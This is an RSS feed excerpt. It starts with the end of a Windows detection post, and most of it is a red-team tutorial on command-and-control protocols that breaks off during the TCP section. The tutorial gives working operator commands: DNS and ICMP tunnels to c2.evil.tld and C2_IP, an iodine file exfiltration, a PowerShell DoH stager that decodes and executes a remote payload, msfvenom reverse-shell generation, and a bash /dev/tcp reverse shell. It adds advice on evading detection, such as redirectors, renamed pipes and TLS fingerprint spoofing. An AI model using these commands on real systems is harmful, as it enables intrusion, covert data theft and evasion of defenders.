SourceIP=$src }<br>    }<br>  } | Sort-Object Time | Format-Table -AutoSize<br># Also check the dedicated RDP log (retains data longer, less noisy)<br>Get-WinEvent -LogName &#39;Microsoft-Windows-TerminalServices-LocalSessionManager/Operational&#39; |<br>  Where-Object Id -in @(21,25) |<br>  Select-Object TimeCreated, Message | Format-List</pre><h3>Install Sysmon: The Force Multiplier</h3><p>All categories above use native Windows logs. Sysmon (System Monitor) by Microsoft Sysinternals supplements them with events that are:</p><ul><li><strong>Process Create (Event 1):</strong> Richer than 4688 — includes MD5/SHA256/IMPHASH, parent command line, GUID-based process tree</li><li><strong>Network Connection (Event 3):</strong> Logs every outbound TCP/UDP connection with process name, hash, source/dest IP</li><li><strong>File Create (Event 11):</strong> Tracks file writes to disk — catches payload drops</li><li><strong>Registry Events (12/13/14):</strong> Registry key creation, modification, deletion</li><li><strong>Driver Load (Event 6):</strong> Detects rootkits and malicious driver loads</li><li><strong>DNS Query (Event 22):</strong> Every DNS lookup — reveals C2 domain names</li></ul><h3>References</h3><ul><li><strong>Yamato Security</strong> — <a href="https://github.com/Yamato-Security/EnableWindowsLogSettings">EnableWindowsLogSettings</a> — DFIR and Threat Hunting configuration guide (Oct 2025)</li><li><strong>CyberArk Labs</strong> — <a href="https://www.cyberark.com/resources/threat-research-blog/detecting-pass-the-hash-with-windows-event-viewer">Detecting Pass-The-Hash with Windows Event Viewer</a> + <a href="https://github.com/cyberark/ketshash">Ketshash tool</a></li><li><strong>Hive Security</strong> — <a href="https://hivesecurity.gitlab.io/blog/lolbins-living-off-the-land-windows-2026/">LOLBins in 2026: How Attackers Use Windows Against Itself</a> — CrowdStrike 2025 data, Jan 2026 RAT campaign analysis</li><li><strong>Lorikeet Security</strong> — <a href="https://lorikeetsecurity.com/blog/kerberoasting-enterprise-defense">Kerberoasting in 2026: Why Active Directory Is Still Vulnerable</a></li><li><strong>Expel SOC</strong> — <a href="https://expel.com/blog/mdr-insights-tracking-lateral-movement-of-bad-actors-in-a-windows-environment-part-i/">MDR Insights: Tracking Lateral Movement in Windows</a> (Dec 2024)</li><li><strong>The DFIR Spot</strong> — <a href="https://www.thedfirspot.com/post/lateral-movement-remote-desktop-protocol-rdp-event-logs">Lateral Movement — RDP Event Logs</a></li><li><strong>Securonix</strong> — <a href="https://medium.com/securonix-tech-blog/detecting-ldap-enumeration-and-bloodhound-s-sharphound-collector-using-active-directory-decoys-dfc840f2f644">Detecting LDAP Enumeration and BloodHound’s SharpHound via AD Decoys</a></li><li><strong>Elastic Detection Rules</strong> — <a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_amsi_bypass_powershell.toml">defense_evasion_amsi_bypass_powershell</a></li><li><strong>Splunk</strong> — <a href="https://research.splunk.com/endpoint/fdb829a8-db84-4832-b64b-3e964cd44f01/">Windows Eventlog Cleared Via Wevtutil detection</a></li><li><strong>SwiftOnSecurity</strong> — <a href="https://github.com/SwiftOnSecurity/sysmon-config">sysmon-config</a></li><li><strong>Microsoft Defender for Identity</strong> — <a href="https://learn.microsoft.com/en-us/defender-for-identity/deploy/configure-windows-event-collection">Configure Windows Event Auditing</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=02bbdb51e539" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[10 Most Common C2 Protocols Every Red Teamer Must Know]]></title>
            <link>https://coffsec.medium.com/10-most-common-c2-protocols-every-red-teamer-must-know-4781056e3971?source=rss-0be1189f4fb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/4781056e3971</guid>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[COFFSec]]></dc:creator>
            <pubDate>Tue, 29 Sep 2026 07:50:30 GMT</pubDate>
            <atom:updated>2026-09-29T07:50:30.699Z</atom:updated>
            <content:encoded><![CDATA[<p>A deep technical walkthrough of the ten command and control protocols red teamers use most.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xWEiuratXulAkuE9FGJw5g.jpeg" /></figure><h3>What this post is about</h3><p>A command and control (C2) channel is the link between an operator and an implant on a target. The protocol you choose decides whether your traffic blends in, survives egress filtering, and stays alive during a long engagement. This post walks through the ten protocols red teamers reach for most often.</p><p>Every protocol section follows the same structure so you can compare them easily: what the protocol is in plain English, how it works at the wire level, why red teamers use it, how it carries C2 traffic step by step, real world APT groups that have used it, one or two verified GitHub tools with install and usage commands, a concrete red team usage example, and operational notes from the field.</p><h3>How to choose a C2 protocol</h3><p>Pick the protocol based on what the target network allows out and what it expects to see. The decision is almost always about egress, not about the protocol itself:</p><ul><li><strong>HTTP/HTTPS.</strong> Default when outbound web is open. Blends with the largest traffic volume.</li><li><strong>DNS.</strong> When TCP and UDP egress are blocked but DNS to the internet is allowed.</li><li><strong>DoH.</strong> When you need DNS tunneling but want to hide it inside HTTPS from DNS inspectors.</li><li><strong>SMB named pipes.</strong> For pivoting between internal hosts without any host touching the internet directly.</li><li><strong>ICMP.</strong> Last resort when every other egress path is closed but ping still works.</li><li><strong>Raw TCP.</strong> Fast interactive shell inside the internal network or behind a pivot.</li><li><strong>WebSockets.</strong> When you need instant push of tasks without waiting for the next checkin.</li><li><strong>QUIC.</strong> Modern cover over UDP 443 with 0-RTT beaconing and connection migration.</li><li><strong>gRPC.</strong> Looks like legitimate microservice traffic inside modern enterprise networks.</li><li><strong>WireGuard.</strong> When you want a full VPN interface through the implant for pivoting any tool.</li></ul><h3>Protocol 1: HTTP and HTTPS (Web C2)</h3><h3>What it is</h3><p>HTTP and HTTPS are the protocols your browser uses to load web pages. HTTPS is just HTTP wrapped in a TLS encryption layer. Because almost every network allows outbound web browsing, HTTP(S) is the default way implants talk to their operator.</p><h3>How the protocol works at the wire level</h3><p>An HTTP C2 transaction is a normal web request and response. The implant sends a GET or POST to a URL on the C2 server. The request carries headers (User-Agent, Cookie, custom headers) and the response carries a body, headers, or a redirect. The C2 data hides inside any of these fields.</p><p>Cobalt Strike malleable C2 profiles let the operator define exactly which HTTP fields carry tasking and results. A common pattern: the implant sends a GET with the task request encoded in a Cookie header like SESSIONID=&lt;base64&gt;, and the server returns the task in the response body disguised as a normal web page. A POST request then carries the command output back, again hidden in a cookie or in the body of what looks like a form submission.</p><p>The key insight: to a packet capture, the C2 traffic is indistinguishable from a user browsing a website. The only tells are timing (regular beaconing), the TLS fingerprint (a Go or .NET binary has a different JA3 hash than Chrome), and the destination IP and ASN.</p><h3>Why red teamers use it</h3><ul><li>Blends with the largest volume of normal traffic on the network.</li><li>Egress firewalls and proxies almost always allow port 443 outbound.</li><li>TLS hides the payload from passive network inspection.</li><li>Easy to hide behind a redirector (CDN, reverse proxy, compromised site) to protect the real C2 server.</li></ul><h3>How it carries C2</h3><ol><li>The implant beacons to a URL on the C2 server on a fixed or jittered sleep interval, for example 30 seconds plus up to 10 seconds of random jitter.</li><li>The server responds with a task encoded in the body, a header, a cookie, or a redirect.</li><li>The implant executes the task and posts results back in the next request.</li><li>HTTPS adds the TLS layer so the request and response look like normal web browsing to anyone watching the wire.</li></ol><h3>Real-world APT usage</h3><p>Cobalt Strike, the most widely used commercial C2 among both red teamers and threat actors, relies on HTTP(S) malleable C2. Palo Alto Unit 42 has documented real threat actors hiding their HTTP beacons behind legitimate domains (forged Host headers) and public cloud IPs to evade detection. APT29, also known as Cozy Bear, has used HTTP(S) C2 channels disguised as legitimate web traffic in multiple intrusions.</p><h3>Tools with GitHub references</h3><p><strong>Sliver (Bishop Fox)</strong></p><ul><li>GitHub: <a href="https://github.com/bishopfox/sliver">https://github.com/bishopfox/sliver</a></li><li>Language: Go</li><li>Transports: HTTP(S), DNS, mTLS, WireGuard</li><li>Install and run:</li></ul><pre>git clone https://github.com/bishopfox/sliver.git<br>cd sliver &amp;&amp; make<br>./sliver<br># In the sliver console, start an HTTP listener:<br>sliver &gt; http<br># Generate an implant that beacons over HTTP:<br>sliver &gt; generate --http http://your-c2.example.com</pre><p><strong>Covenant (cobbr)</strong></p><ul><li>GitHub: <a href="https://github.com/cobbr/covenant">https://github.com/cobbr/covenant</a></li><li>Language: C# / .NET Core</li><li>A collaborative .NET C2 framework with a web UI for operators</li><li>Install and run:</li></ul><pre>git clone --recurse-submodules https://github.com/cobbr/covenant<br>cd Covenant/Covenant<br>dotnet run<br># Open https://127.0.0.1:7443 in a browser to access the operator UI</pre><h3>Red team usage example</h3><p>A Sliver HTTP beacon checking in every 30 seconds with jitter:</p><pre>sliver &gt; generate --http https://cdn-front.example.com --skip-symbols --os windows<br>sliver &gt; http --domain cdn-front.example.com --profile default</pre><p>The beacon sleeps for the interval plus a random jitter, then issues a GET to a randomized path, picks up a task in the response body, runs it, and POSTs the output in the next checkin. From a network perspective it looks like a client browsing a website.</p><h3>Operational notes</h3><ul><li>Use a redirector (Cloudflare, nginx, a compromised site) in front of the C2 so blue team sees the redirector IP, not your server.</li><li>Randomize user agents, paths, and checkin intervals to avoid beaconing patterns.</li><li>Watch for TLS fingerprint mismatches. A Go or .NET TLS handshake looks different from a real Chrome handshake. Use a TLS spoofing layer (Sliver HTTP C2 profiles, or a JA3 spoofing proxy) to match.</li></ul><h3>Protocol 2: DNS (DNS Tunneling)</h3><h3>What it is</h3><p>DNS is the protocol that turns domain names like example.com into IP addresses. Because almost every network allows DNS to the internet, attackers use DNS queries and responses as a covert transport when no other egress path is open.</p><h3>How the protocol works at the wire level</h3><p>A DNS query has a strict structure. The question section carries a domain name split into labels separated by dots. Each label can be up to 63 characters, and the whole name can be up to 255 characters. That label space is where the C2 data rides.</p><p>The implant encodes its data (usually base32, because base32 is case insensitive and DNS labels are case insensitive) and splits it into label-sized chunks. So a chunk of data becomes a subdomain like ojzgc5dbofqwg33emv4gc3lq.c2.evil.tld. The C2 server is the authoritative DNS server for c2.evil.tld, so it receives the query, reads the subdomain, base32 decodes it back into the original bytes, and responds.</p><p>Responses carry data back. TXT records are the most common because a TXT record can hold up to 255 characters of arbitrary text per string and a single response can hold multiple strings, giving roughly 150 to 250 bytes of payload per round trip. CNAME and A records are also used for smaller responses.</p><p>Bandwidth is low: roughly 10 to 50 KB per second in practice, because each round trip is one DNS query and there is round trip latency to the resolver. But that is plenty for shell tasking and small file exfiltration over time.</p><h3>Why red teamers use it</h3><ul><li>DNS is almost never fully blocked at the egress boundary.</li><li>Encoded data rides inside subdomain labels (queries) and TXT, CNAME, or A records (responses).</li><li>Works from inside networks that block all direct TCP/UDP egress.</li><li>A patient attacker can exfiltrate megabytes over hours through DNS alone.</li></ul><h3>How it carries C2</h3><ol><li>The operator registers an authoritative DNS domain, for example c2.evil.tld.</li><li>The implant encodes data with base32 and splits it into label-sized chunks.</li><li>The implant issues DNS queries for random subdomains like base32payload.c2.evil.tld.</li><li>The authoritative DNS server (the C2 server) decodes the subdomain label back into the data the implant sent.</li><li>The server answers with TXT or CNAME records that carry the response data, encoded the same way.</li><li>The implant decodes the answer and acts on it.</li></ol><h3>Real-world APT usage</h3><p>DNS tunneling is a favorite of financially motivated ransomware groups and state sponsored APTs alike. APT29 (Cozy Bear) has used DNS for covert C2. The SolarWinds supply chain attackers used DNS based infrastructure. Threat actors including APT41 have used DNS tunneling for both C2 and data exfiltration because DNS is so rarely fully blocked. DNS tunneling is now considered a baseline capability for any serious intrusion that survives egress locked environments.</p><h3>Tools with GitHub references</h3><p><strong>dnscat2 (iagox86)</strong></p><ul><li>GitHub: <a href="https://github.com/iagox86/dnscat2">https://github.com/iagox86/dnscat2</a></li><li>Language: Ruby (server) and C (client)</li><li>A dedicated DNS tunnel that gives you a shell over DNS</li><li>Install and run:</li></ul><pre>git clone https://github.com/iagox86/dnscat2.git<br>cd dnscat2/server<br>bundle install<br>ruby ./dnscat2.rb c2.evil.tld<br># On the target:<br>./dnscat2 c2.evil.tld</pre><p><strong>iodine (yarrick)</strong></p><ul><li>GitHub: <a href="https://github.com/yarrick/iodine">https://github.com/yarrick/iodine</a></li><li>Language: C</li><li>Tunnels IP traffic over DNS, giving you a full network interface over DNS</li><li>Install and run:</li></ul><pre>git clone https://github.com/yarrick/iodine.git<br>cd iodine &amp;&amp; make<br># On the server:<br>./iodined -f 172.16.0.1 c2.evil.tld<br># On the target:<br>./iodine c2.evil.tld<br># You now have a TUN interface (172.16.0.x) and can SSH or run tools over it</pre><h3>Red team usage example</h3><p>Exfiltrating a file with iodine:</p><pre># Target side: tunnel up, then push data over the DNS TUN interface<br>./iodine -r c2.evil.tld<br>scp secret.txt user@172.16.0.1:/tmp/</pre><p>Every byte of the SCP stream is encoded into DNS queries to c2.evil.tld and sent out through the resolver chain.</p><h3>Operational notes</h3><ul><li>DNS is slow. Bandwidth is roughly 10 to 50 KB per second, enough for shell tasking but painful for large file transfers.</li><li>Many modern DNS gateways and next gen firewalls flag high volume TXT queries or unusually long subdomains. Use short labels and spread traffic across many domains if you need volume.</li><li>Resolver caching can stall your channel. Use random query IDs and short TTLs on your authoritative records.</li></ul><h3>Protocol 3: DNS over HTTPS (DoH)</h3><h3>What it is</h3><p>DoH is DNS queries sent over HTTPS to a DoH resolver like dns.google or cloudflare-dns.com. It wraps DNS in TLS so the DNS traffic itself is hidden inside normal HTTPS web traffic.</p><h3>How the protocol works at the wire level</h3><p>Instead of sending a DNS query over UDP 53 (which DNS aware proxies can see and inspect), the implant makes an HTTPS GET to a DoH resolver. The query is sent as a URL parameter, and the response comes back as JSON or a DNS wire-format blob inside the HTTPS body.</p><p>A typical DoH request looks like GET https://dns.google/resolve?name=base32payload.c2.evil.tld&amp;type=TXT. The DoH resolver (Google, Cloudflare, Quad9) receives this, does the actual DNS lookup against your authoritative server, gets the TXT answer, and returns it inside a JSON response. From the enterprise network&#39;s perspective, the only thing visible is an HTTPS connection to dns.google, which looks exactly like a browser or app doing normal DNS resolution.</p><p>The cover is strong: the destination IP is a trusted public resolver, the connection is encrypted, and the content is JSON that does not look like a tunnel. The only thing that can flag it is statistical analysis of the query volume or patterns at the resolver itself, or blocking of known DoH endpoints.</p><h3>Why red teamers use it</h3><ul><li>Hides DNS tunneling inside HTTPS, so even DNS aware proxies that inspect UDP 53 do not see the tunnel.</li><li>Uses well known public resolvers, so the destination IP is a trusted service, not your C2 server.</li><li>Combines the egress friendliness of DNS with the cover of HTTPS.</li></ul><h3>How it carries C2</h3><ol><li>The implant makes an HTTPS GET to <a href="https://dns.google/resolve?name=base32payload.c2.evil.tld&amp;type=TXT.">https://dns.google/resolve?name=base32payload.c2.evil.tld&amp;type=TXT.</a></li><li>The DoH resolver forwards the query to your authoritative DNS server.</li><li>Your server answers with a TXT record carrying the encoded response.</li><li>The DoH resolver returns it to the implant inside a normal HTTPS JSON response.</li><li>The implant parses the JSON, decodes the TXT record, and acts on the task.</li></ol><h3>Real-world APT usage</h3><p>DoH as a C2 channel was popularized by Outflank’s 2018 research on building resilient C2 infrastructure with DNS over HTTPS. Real threat actors have adopted DoH because it defeats classic DNS monitoring. The KE3CHANGE group and various infostealer operators have used DoH to hide DNS based tasking. Because DoH uses public resolvers, it is hard to block without breaking legitimate applications that also use DoH.</p><h3>Tools with GitHub references</h3><p><strong>DoHC2 (SpiderLabs)</strong></p><ul><li>GitHub: <a href="https://github.com/spiderlabs/dohc2">https://github.com/spiderlabs/dohc2</a></li><li>Language: Python and C#</li><li>An ExternalC2 provider that pipes C2 traffic through DNS over HTTPS</li><li>Install and run:</li></ul><pre>git clone https://github.com/spiderlabs/dohc2.git<br>cd dohc2<br># Configure your DoH resolver and authoritative domain in the config<br>python3 dohc2.py --domain c2.evil.tld --doh https://dns.google/resolve</pre><h3>Red team usage example</h3><p>A PowerShell stager that uses DoH to fetch its next stage:</p><pre>$resp = (New-Object System.Net.Webclient).DownloadString(&quot;https://dns.google/resolve?name=task.c2.evil.tld&amp;type=TXT&quot;)<br># Parse the TXT answer from the JSON, base64 decode it, and IEX the payload<br>$task = ($resp | ConvertFrom-Json).Answer.data<br>IEX ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($task)))</pre><p>The DNS query is invisible to a classic DNS monitor because it rides inside HTTPS to Google. The resolver sees the query, but the enterprise DNS sensor on UDP 53 does not.</p><h3>Operational notes</h3><ul><li>Use public DoH endpoints (dns.google, cloudflare-dns.com, quad9) so the destination looks legitimate.</li><li>DoH still generates DNS queries at the resolver. A resolver that logs and analyzes query patterns can still flag tunneling.</li><li>Some corporate proxies block known public DoH endpoints. Have a fallback to plain DNS or HTTP C2.</li></ul><h3>Protocol 4: SMB Named Pipes</h3><h3>What it is</h3><p>SMB (Server Message Block) is the Windows file and print sharing protocol. Named pipes are a Windows inter-process communication (IPC) mechanism that lets two processes exchange data over SMB. Every Windows pipe lives under the special path \\.\pipe\ locally, or \\TARGET\pipe\ when accessed remotely over SMB.</p><h3>How the protocol works at the wire level</h3><p>A named pipe has a server side and a client side. The server process creates the pipe and listens on it. The client process connects to the pipe name. The pipe is duplex, meaning both sides can read and write. In byte mode, data flows as a continuous stream of bytes. In message mode, data flows as discrete messages.</p><p>When the client and server are on different machines, the pipe traffic rides over SMB. SMB lets a client open a remote pipe with a transaction, then read and write blocks of data to and from the pipe’s memory buffer on the server. From the network’s perspective, this is normal SMB traffic on port 445, the same protocol Windows uses for file shares, group policy, and admin tools.</p><p>For C2, an internet connected beacon creates a pipe like \\.\pipe\msagent_x1. An internal beacon connects to \\INTERNETHOST\pipe\msagent_x1 over SMB. The internet beacon reads tasks from its internet C2 channel and writes them into the pipe. The internal beacon reads the pipe, runs the task, and writes results back. The internal host never talks to the internet directly.</p><h3>Why red teamers use it</h3><ul><li>SMB named pipe traffic stays inside the internal network and never touches the egress boundary.</li><li>A pivot beacon connects to a beacon on an internal host, which then relays traffic to the internet. This hides the real C2 endpoint from the internal host.</li><li>Named pipes blend with normal Windows administrative traffic, so they are easy to miss on internal network monitoring.</li><li>Lets you chain multiple hops deep into a network behind a single internet connected host.</li></ul><h3>How it carries C2</h3><ol><li>An internet connected beacon (the pivot) creates a named pipe like \\.\pipe\msagent_x1.</li><li>An internal beacon connects to \\TARGET\pipe\msagent_x1 over SMB.</li><li>The pivot reads task data from its internet C2 channel and writes it into the pipe.</li><li>The internal beacon reads the pipe, runs the task, and writes results back into the pipe.</li><li>The pivot forwards the results back out to the C2 server.</li></ol><h3>Real-world APT usage</h3><p>SMB named pipe pivoting is a signature technique of Cobalt Strike, used by both red teams and threat actors in the wild. Hunt teams look for pipe connections paired with SMB network connections within short time windows to catch this exact behavior. APT groups including FIN7 and Ryuk operators have used SMB named pipe pivots to chain beacons deep inside networks behind a single internet connected host. The Elastic stack documents named pipe detection as a core hunt for SMB beacon activity.</p><h3>Tools with GitHub references</h3><p><strong>Havoc Framework</strong></p><ul><li>GitHub: <a href="https://github.com/havocframework/havoc">https://github.com/havocframework/havoc</a></li><li>Language: C, Go, Python</li><li>An open source C2 framework with SMB named pipe pivoting built in</li><li>Install and run:</li></ul><pre>git clone https://github.com/havocframework/havoc.git<br>cd Havoc<br>make ts-build<br>./havoc server --profile ./profiles/havoc.yaotl -v --debug<br># In another terminal:<br>make client-build<br>./havoc client</pre><p><strong>xPipe (boku7)</strong></p><ul><li>GitHub: <a href="https://github.com/boku7/xpipe">https://github.com/boku7/xpipe</a></li><li>Language: C (Cobalt Strike BOF)</li><li>A BOF that lists all named pipes on a host so you can spot pivot pipes and enumerate pipe based C2 channels</li><li>Install and run:</li></ul><pre>git clone https://github.com/boku7/xpipe.git<br># Load the aggressor script in Cobalt Strike, then:<br>beacon&gt; xpipe</pre><h3>Red team usage example</h3><p>A Havoc SMB pivot from an internal host to an internet beacon:</p><pre># On the internet connected beacon, open an SMB listener:<br>beacon&gt; listen smb pipe=msagent_x1<br># On the internal beacon, connect back over SMB:<br>beacon&gt; connect smb 10.0.0.5 pipe=msagent_x1</pre><p>The internal beacon now routes all its traffic through the pivot, never talking to the internet directly. From the internal host, the only network activity is SMB to a peer inside the network.</p><h3>Operational notes</h3><ul><li>Default pipe names from popular frameworks are well known detection signatures. Always rename the pipe to something plausible like msagent_, status_, or scvhost_.</li><li>SMB pivoting requires port 445 access between the two hosts. It works between any two Windows hosts in the same domain or workgroup.</li><li>Chain pivots carefully: each hop adds latency. Use pivots only for the internal segment that needs them.</li></ul><h3>Protocol 5: ICMP (Ping Tunneling)</h3><h3>What it is</h3><p>ICMP is the protocol that carries ping and destination unreachable messages. An ICMP echo request (what you send when you ping) and its echo reply each have a data payload field that almost nobody inspects, which makes them a useful covert channel.</p><h3>How the protocol works at the wire level</h3><p>An ICMP echo packet has a small header (type, code, checksum, identifier, sequence number) followed by a data payload. On most networks that payload can be up to roughly 1472 bytes after subtracting the IP and ICMP headers from the typical 1500 byte MTU. Almost no network monitor inspects that data field because ping is considered harmless diagnostic traffic.</p><p>For C2, the implant puts encoded data into the data field of ICMP echo requests it sends to the C2 server. The C2 server puts response data into the data field of the echo replies it sends back. Larger payloads are fragmented across multiple pings and reassembled on the other side. To a network monitor, the traffic just looks like one host pinging another, which is normal.</p><p>Bandwidth is low, roughly 1 to 10 KB per second in practice, because each packet is small and there is round trip latency. That is enough for shell tasking but not for large file transfers.</p><h3>Why red teamers use it</h3><ul><li>ICMP is allowed through almost every firewall because ping is considered harmless.</li><li>The ICMP echo reply data field is rarely inspected by network monitors.</li><li>Works when TCP and UDP egress are blocked but ICMP is allowed.</li><li>Useful for exfiltrating small amounts of data or a low bandwidth reverse shell.</li></ul><h3>How it carries C2</h3><ol><li>The implant sends ICMP echo requests to the C2 server with encoded data in the echo data field.</li><li>The C2 server replies with ICMP echo replies, also carrying encoded data in the data field.</li><li>Each ping packet carries a small chunk, up to roughly 1472 bytes on most networks.</li><li>The implant and server fragment larger payloads across multiple pings and reassemble them.</li></ol><h3>Real-world APT usage</h3><p>ICMP tunneling has been documented in real APT toolsets. The Hamdan tunneling tool used by the APT group behind the Hamas-linked campaign tunneled C2 over ICMP. The Cosmic Lyme backdoor used ICMP for covert communication. Red teams use ICMP as the classic last resort channel when TCP and UDP egress are blocked but ping still works, because ping is almost never filtered.</p><h3>Tools with GitHub references</h3><p><strong>icmpdoor (krabelize)</strong></p><ul><li>GitHub: <a href="https://github.com/krabelize/icmpdoor">https://github.com/krabelize/icmpdoor</a></li><li>Language: Python 3 with scapy</li><li>An ICMP reverse shell that tunnels command and control through ICMP echo packets</li><li>Install and run:</li></ul><pre>git clone https://github.com/krabelize/icmpdoor.git<br>cd icmpdoor<br>pip3 install scapy<br># On the server:<br>python3 icmpdoor.py -i -d C2_IP -dst VICTIM_IP<br># On the victim:<br>python3 icmpdoor.py -r -d VICTIM_IP -dst C2_IP</pre><p><strong>icmpsh (bdamele)</strong></p><ul><li>GitHub: <a href="https://github.com/bdamele/icmpsh">https://github.com/bdamele/icmpsh</a></li><li>Language: C (server on the operator side), Python (client on the target)</li><li>A simple reverse ICMP shell, good for a quick proof of concept</li><li>Install and run:</li></ul><pre>git clone https://github.com/bdamele/icmpsh.git<br># On the operator:<br>./icmpsh_m.py 192.168.1.1 192.168.1.10<br># On the target:<br>icmpsh.exe -t 192.168.1.1 -d 500 -b 30 -s 128</pre><h3>Red team usage example</h3><p>A reverse shell over ICMP from a locked down host:</p><pre># Target: tunnel a shell out through ping<br>python3 icmpdoor.py -r -d VICTIM_IP -dst C2_IP<br># Operator: receive the shell and type commands<br>python3 icmpdoor.py -i -d C2_IP -dst VICTIM_IP<br>$ whoami<br>nt authority\system</pre><p>The shell commands and output ride inside ICMP echo packets, invisible to a TCP/UDP egress filter. The host looks like it is just pinging an external IP.</p><h3>Operational notes</h3><ul><li>ICMP is low bandwidth. Expect 1 to 10 KB per second in practice, enough for shell tasking but not large file transfers.</li><li>Some next gen firewalls flag ICMP echo packets with unusually large or unusual data payloads. Keep payloads small and randomize the data field.</li><li>ICMP tunnels do not work if the network blocks outbound ICMP, which is rare but possible in strict environments.</li></ul><h3>Protocol 6: TCP (Raw Reverse Shell)</h3><h3>What it is</h3><p>A raw TCP socket is the simplest possible C2 transport. The implant opens a TCP connection to the operator and streams bytes back and forth with no application protocol on top. This is the classic reverse shell.</p><h3>How the protocol works at the wire level</h3><p>TCP is a reliable, ordered, byte-stream protocol. The implant calls connect() to the operator IP and port. Once the three way handshake (SYN, SYN-ACK, ACK) completes, both sides have a bidirectional byte stream.</p><p>For a raw reverse shell, the implant spawns a shell (cmd.exe or /bin/sh) and binds the shell’s stdin, stdout, and stderr to the socket file descriptor. Every byte the operator types goes into the shell, and every byte the shell outputs goes back over the socket. There is no framing, no encryption, and no protocol. It is just a pipe.</p><p>For Meterpreter, the same TCP socket carries a binary protocol. Meterpreter multiplexes logical channels (a shell channel, a file transfer channel, a routing channel) over the single TCP stream, with its own packet structure (header with type and length, then payload). This lets one TCP connection run many operations in parallel.</p><h3>Why red teamers use it</h3><ul><li>Minimal footprint: a few lines of code open a socket and pipe a shell.</li><li>Works on any network that allows outbound TCP, which is most internal networks.</li><li>Fast, reliable, and bidirectional. No HTTP overhead.</li><li>The foundation for higher level transports like Meterpreter.</li></ul><h3>How it carries C2</h3><ol><li>The implant connects to the operator IP on a chosen port.</li><li>The implant spawns a shell and binds its stdin, stdout, and stderr to the socket.</li><li>The operator types into the socket, the shell runs the command, and the output streams back over the same socket.</li><li>For Meterpreter, the same TCP socket carries a binary protocol that multiplexes channels for shells, file transfers, and routing.</li></ol><h3>Real-world APT usage</h3><p>Raw TCP reverse shells are everywhere in real intrusions, usually as the first stage foothold before a more sophisticated C2 is deployed. Metasploit Meterpreter over TCP is one of the most common payloads seen in both red team engagements and real threat actor campaigns. Threat actors from commodity ransomware crews to APT41 have used raw TCP shells for initial access, often upgrading to HTTP(S) or DNS C2 once persistence is established.</p><h3>Tools with GitHub references</h3><p><strong>Metasploit Framework (rapid7)</strong></p><ul><li>GitHub: <a href="https://github.com/rapid7/metasploit-framework">https://github.com/rapid7/metasploit-framework</a></li><li>Language: Ruby, C, assembly payloads</li><li>The standard open source exploitation framework, with the Meterpreter payload that runs a binary C2 protocol over TCP</li><li>Install and run:</li></ul><pre>git clone https://github.com/rapid7/metasploit-framework.git<br>cd metasploit-framework<br>bundle install<br>./msfconsole<br># Generate a TCP Meterpreter payload:<br>msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o shell.exe<br># Set up a listener:<br>msf6 &gt; use exploit/multi/handler<br>msf6 &gt; set PAYLOAD windows/meterpreter/reverse_tcp<br>msf6 &gt; set LHOST 10.0.0.1<br>msf6 &gt; set LPORT 4444<br>msf6 &gt; run</pre><h3>Red team usage example</h3><p>A raw netcat style reverse shell one liner for a Linux target:</p><pre>bash -i &gt;&amp; /dev/tcp/10.0.0.1/4444 0&gt;&amp;1<br># Operator side:<br>nc -lvnp 4444</pre><p>For a Windows Meterpreter TCP beacon, the same socket carries the full Meterpreter protocol with file transfer, routing, and post exploitation modules.</p><h3>Operational notes</h3><ul><li>Raw TCP C2 does not blend with normal traffic. A long lived TCP session to an unknown IP is suspicious on a network monitor. Use it for short interactive sessions or behind a pivot.</li><li>Meterpreter over TCP can 